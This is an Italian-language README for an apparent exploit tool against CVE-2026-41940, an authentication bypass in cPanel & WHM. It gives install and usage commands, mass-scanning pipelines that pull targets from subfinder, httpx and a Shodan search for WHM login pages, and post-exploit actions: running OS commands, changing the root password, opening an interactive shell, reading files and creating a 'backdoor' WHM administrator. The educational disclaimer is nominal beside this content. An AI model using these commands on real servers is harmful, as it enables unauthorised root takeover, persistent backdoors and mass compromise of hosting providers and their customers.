CVE-2026-41940

⚠ Questo strumento è creato esclusivamente a scopo educativo o di bug bounty. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato.

Descrizione

Uno strumento per sfruttare CVE-2026-41940, un bypass critico dell'autenticazione in cPanel & WHM (CVSS 10.0), che consente ad attaccanti non autenticati di ottenere accesso WHM a livello root iniettando sequenze CRLF nei file di sessione lato server tramite l'header Authorization — senza richiedere credenziali.

Come funziona

CVE-2026-41940, in termini generali, viene sfruttata attraverso un malfunzionamento nel modo in cui il sistema gestisce le sessioni di autenticazione in cPanel/WHM. L'attacco inizia tipicamente con una normale richiesta all'interfaccia di login, dove l'applicazione inizializza prematuramente una sessione prima di validare completamente le credenziali dell'utente. A causa di una gestione impropria dell'input relativo alla sessione, alcune strutture di input appositamente costruite o impreviste possono alterare il modo in cui i dati di sessione vengono memorizzati o interpretati dal server.

Versioni interessate

Versione	Vulnerabile	Patchata
110.x	≤ 11.110.0.96	11.110.0.97
118.x	≤ 11.118.0.62	11.118.0.63
126.x	≤ 11.126.0.53	11.126.0.54
132.x	≤ 11.132.0.28	11.132.0.29
134.x	≤ 11.134.0.19	11.134.0.20
136.x	≤ 11.136.0.4	11.136.0.5

Installazione(Windows/Mac OS)🔄

git clone https://github.com/lanicer/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows 
python cve.py
# MacOS/Linux
python3 cve.py

Come usare

Lo strumento richiede che venga specificato un dominio di destinazione.

Modalità target singolo:

python cve.py -u https://target1.com:2083

È anche possibile eseguire una scansione dal file target.txt(crearlo):

python cve.py -l target.txt -t 50 -o result.json

Scansione di base:

Comandi disponibili:

python cve.py -u https://victim1.com:2083 # single target scan
python cve.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage).
python cve.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.

Azioni post-exploit

# List all accounts on the server
python cve.py list -u https://target.com:2087

# OS command
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"

# Get server info (hostname, disk, MySQL host)
python cve.py info -u https://target.com:2087

# Change root password
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'

# Interactive WHM shell
python cve.py shell -u https://target.com:2087

Pipeline

# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
  httpx -silent -ports 2085,2086 -threads 50 | \
  python cve.py scan -t 40 -o results.json

# From scope list
cat scope.txt | \
  httpx -silent -ports 2085,2086 -threads 100 | \
  python cve.py scan -t 30 -o results.json

# Shodan results
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python cve.py -t 30 -o shodan_results.json

# Multiple sources combined
{ subfinder -d victim.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python cve.py -t 20 --action list

Modalità shell WHM

Dopo un'esecuzione riuscita, puoi aprire una shell WHM interattiva:

python cve.py shell -u

Tutti i comandi della shell

Riferimento CLI

usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                       [--action ACTION] [--passwd PASS] [--cmd CMD]
                       [--new-user USER] [--new-domain DOMAIN]
                       [-o OUTPUT] 

Target:
  -u, --url URL          Single target URL (e.g. https://host:2087)
  -l, --list LIST        File with URLs (one per line)
  --hostname HOSTNAME    Override canonical Host header (auto-discovered)

Scan:
  -t, --threads N        Concurrent threads (default: 10)
  --timeout N            Request timeout seconds (default: 15)
  --rate-limit N         Delay between targets (default: 0)
  --force                Skip cPanel detection check

Post-Exploit:
  --action ACTION        Action: list | passwd | cmd | exec | info |
                                 version | shell | adduser
  --passwd PASS          New root password (--action passwd)
  --cmd CMD              OS command (--action cmd/exec)
  --new-user USER        New cPanel username (--action adduser)
  --new-domain DOMAIN    New cPanel domain (--action adduser)

Output:
  -o, --output FILE      Save results to JSON file
  --no-color             Disable ANSI colors

Avvertenza

⚠ Questo strumento è creato esclusivamente a scopo educativo o di bug bounty. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato.

`id`	Mostra l'ID utente
`hostname`	Ottieni l'hostname del server
`accounts`	Elenca tutti gli account utente
`info`	Carico, disco, host MySQL, versione
`cat <path>`	Leggi il contenuto del file
`exec <cmd>`	Esegui un comando di sistema
`newadmin <user> <pass>`	Crea un amministratore WHM backdoor
`passwd <pass>`	Cambia la password di root
`l [path]`	Elenca la directory
`help`	Mostra tutti i comandi
`exit`	Esci dalla modalità shell

Più Popolari

cve-2026-41940-PoC